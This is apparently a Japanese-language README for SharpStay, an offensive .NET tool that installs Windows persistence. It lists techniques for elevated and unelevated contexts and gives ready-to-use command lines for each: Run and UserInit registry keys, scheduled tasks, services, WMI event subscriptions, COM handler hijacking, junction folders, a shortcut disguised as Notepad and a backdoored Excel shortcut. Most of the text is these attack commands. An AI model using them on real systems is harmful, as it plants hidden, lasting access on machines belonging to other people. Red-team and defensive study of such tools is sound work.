0xthirteen/sharpstay.NETツール。レジストリキー、スケジュールタスク、サービス、WMIイベント、COMハイジャック、LNKバックドアを介してWindowsの永続性をインストールし、昇格されたコンテキストと昇格されていないコンテキストの両方をサポートします。
コンパイルするには Visual Studio プロジェクトを開き、リリース用にコンパイルします。
昇格した権限のレジストリキー
昇格した権限の UserInit レジストリキー
昇格した権限のスケジュールタスク
昇格した権限のサービス作成
昇格した権限の WMI イベントサブスクリプション
非昇格 InitMprLogonScript レジストリキー
非昇格スケジュールタスク COM ハンドラーハイジャック
非昇格ジャンクションフォルダ
その他 スケジュールタスクアクション追加
その他 スタートアップディレクトリ
その他 新しい LNK
その他 バックドア LNK
その他 タスク名
その他 スケジュールタスク一覧
その他 実行中のサービス一覧
その他 スケジュールタスク COM ハンドラーの取得
Sharpstay.exe action=ElevatedRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=UserRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=UserInitMprLogonScriptKey command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=ElevatedUserInitKey command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=ScheduledTask taskname=TestTask command="C:\windows\temp\file.exe" runasuser=user1 triggertype=logon author=Microsoft Corp. description="Test Task" logonuser=user1
Sharpstay.exe action=ScheduledTaskAction taskname=TestTask command="C:\Windows\temp\fun.exe" folder="\\" actionid=ExecAction
Sharpstay.exe action=SchTaskCOMHijack clsid={a47af52a-27f9-4426-bd2b-727050712db1} dllpath="C:\windows\temp\fun.dll"
Sharpstay.exe action=CreateService servicename=TestService command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=WMIEventSub command="C:\Windows\temp\fun.exe" eventname=Debugger attime=startup
Sharpstay.exe action=JunctionFolder dllpath="C:\windows\temp\fun.dll guid={a47af52a-27f9-4426-bd2b-727050712db1}
Sharpstay.exe action=NewLNK filepath="C:\users\admin\desktop" lnkname="Notepad.lnk" lnktarget="C:\Windows\temp\file.exe" lnkicon="C:\Windows\system32\notepad.exe"
Sharpstay.exe action=BackdoorLNK command="C:\Windows\temp\fun.exe" lnkpath="C:\users\user\desktop\Excel.lnk"
Sharpstay.exe action=ListTaskNames
Sharpstay.exe action=ListScheduledTasks
Sharpstay.exe action=ListRunningServices
Sharpstay.exe action=GetScheduledTaskCOMHandler
cleanup=true は各永続化タイプのオプションです。
Part of StayKit